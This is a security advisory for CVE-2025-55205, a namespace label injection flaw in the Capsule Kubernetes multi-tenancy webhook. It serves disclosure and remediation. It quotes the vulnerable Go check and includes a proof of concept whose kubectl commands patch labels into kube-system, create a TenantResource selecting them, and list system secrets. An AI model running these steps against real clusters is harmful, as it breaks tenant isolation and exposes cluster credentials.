CVE-2025-55205 – github.com/projectcapsule/capsule

Package

Manager: go
Name: github.com/projectcapsule/capsule
Vulnerable Version: >=0 <0.10.4

Severity

Level: Critical

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS: 0.00036 pctl0.09151

Details

Capsule tenant owners with "patch namespace" permission can hijack system namespaces label ### Summary A namespace label injection vulnerability in Capsule v0.10.3 allows authenticated tenant users to inject arbitrary labels into system namespaces (kube-system, default, capsule-system), bypassing multi-tenant isolation and potentially accessing cross-tenant resources through TenantResource selectors. This vulnerability enables privilege escalation and violates the fundamental security boundaries that Capsule is designed to enforce. ### Details The vulnerability exists in the namespace validation webhook logic located in `pkg/webhook/namespace/validation/patch.go:60-77`. The critical flaw is in the conditional check that only validates tenant ownership when a namespace already has a tenant label: ```go if label, ok := ns.Labels[ln]; ok { // Only checks permissions when namespace has tenant label if !utils.IsTenantOwner(tnt.Spec.Owners, req.UserInfo) { response := admission.Denied(e) return &response } } return nil // Critical issue: allows operation if no tenant label exists ``` **Root Cause Analysis:** 1. **Missing Default Protection**: System namespaces (kube-system, default, capsule-system) do not have the `capsule.clastix.io/tenant` label by default 2. **Bypass Logic**: The webhook only enforces tenant ownership validation when the target namespace already belongs to a tenant 3. **Unrestricted Label Injection**: Authenticated users can inject arbitrary labels into unprotected namespaces **Attack Vector Path:** ``` Label Injection (user-controlled) → Namespace Selector (system matching) → TenantResource/Quota Check (authorization bypass) → Cross-tenant Resource Access ``` This mirrors the CVE-2024-39690 attack pattern but uses label injection instead of ownerReference manipulation: - **CVE-2024-39690**: `ownerReference(user-controlled) → tenant.Status.Namespaces(system state) → quota/permission check(auth policy) → namespace hijacking` - **This vulnerability**: `Label injection(user-controlled) → Namespace selector(system matching) → TenantResource/Quota check(auth policy) → cross-tenant resource access` ### PoC **Prerequisites:** - Minikube cluster with Capsule v0.10.3 installed - Authenticated tenant user with basic RBAC permissions **Step 1: Environment Setup** ```bash # Install Minikube and Capsule minikube start helm repo add projectcapsule https://projectcapsule.github.io/charts helm install capsule projectcapsule/capsule -n capsule-system --create-namespace # Create tenant and user kubectl create -f - << EOF apiVersion: capsule.clastix.io/v1beta2 kind: Tenant metadata: name: tenant1 spec: owners: - name: alice kind: User EOF # Create user certificate and kubeconfig (using provided script) ./create-user-minikube.sh alice tenant1 ``` **Step 2: Label Injection Attack** ```bash # Switch to attacker context export KUBECONFIG=alice-tenant1.kubeconfig # Inject malicious labels into system namespaces kubectl patch namespace kube-system --type='json' -p='[ { "op": "add", "path": "/metadata/labels/malicious-label", "value": "attack-value" } ]' # Verify injection success kubectl get namespace kube-system --show-labels ``` **Step 3: Exploitation via TenantResource** ```bash # Create attacker-controlled namespace kubectl create namespace alice-attack # Create malicious TenantResource targeting injected labels cat <<EOF | kubectl apply -f - apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: malicious-resource namespace: alice-attack spec: resyncPeriod: 60s resources: - namespaceSelector: matchLabels: malicious-label: "attack-value" EOF # Verify cross-tenant access kubectl get tenantresource -n alice-attack malicious-resource -o yaml ``` **Step 4: Verification of Impact** ```bash # Check if system namespace resources are now accessible export KUBECONFIG=~/.kube/config kubectl get namespaces -l "malicious-label=attack-value" # Output shows: kube-system (and potentially other injected namespaces) # Check for potential resource replication/access kubectl get all -n kube-system kubectl get secrets -n kube-system kubectl get configmaps -n kube-system ``` **Automated Testing Script:** A complete vulnerability verification script is available that tests: - Label injection into multiple system namespaces - TenantResource exploitation - Cross-tenant resource access verification - Impact assessment and cleanup ### Impact **Vulnerability Type:** Authorization Bypass / Privilege Escalation **Who is Impacted:** - **Multi-tenant Kubernetes clusters** using Capsule v0.10.3 and potentially earlier versions - **Organizations relying on Capsule** for tenant isolation and resource governance - **Cloud service providers** offering Kubernetes-as-a-Service with Capsule-based multi-tenancy **Security Impact:** 1. **Multi-tenant Isolation Bypass**: Attackers can access resources from other tenants or system namespaces 2. **Privilege Escalation**: Tenant users can gain access to cluster-wide resources and sensitive system components 3. **Data Exfiltration**: Potential access to secrets, configmaps, and other sensitive data in system namespaces 4. **Resource Quota Bypass**: Ability to consume resources outside assigned tenant boundaries 5. **Policy Circumvention**: Bypass network policies, security policies, and other tenant-level restrictions **Real-world Exploitation Scenarios:** - Access to kube-system secrets containing cluster certificates and service account tokens - Modification or replication of critical system configurations - Cross-tenant data access in shared clusters - Potential cluster-wide compromise through system namespace access **Severity:** High - This vulnerability fundamentally breaks the multi-tenant security model that Capsule is designed to provide, allowing authenticated users to escape their tenant boundaries and access system-level resources.

Metadata

Created: 2025-08-18T21:00:36Z
Modified: 2025-08-29T20:35:24Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-fcpm-6mxq-m5vv/GHSA-fcpm-6mxq-m5vv.json
CWE IDs: ["CWE-863"]
Alternative ID: GHSA-fcpm-6mxq-m5vv
Finding: F006
Auto approve: 1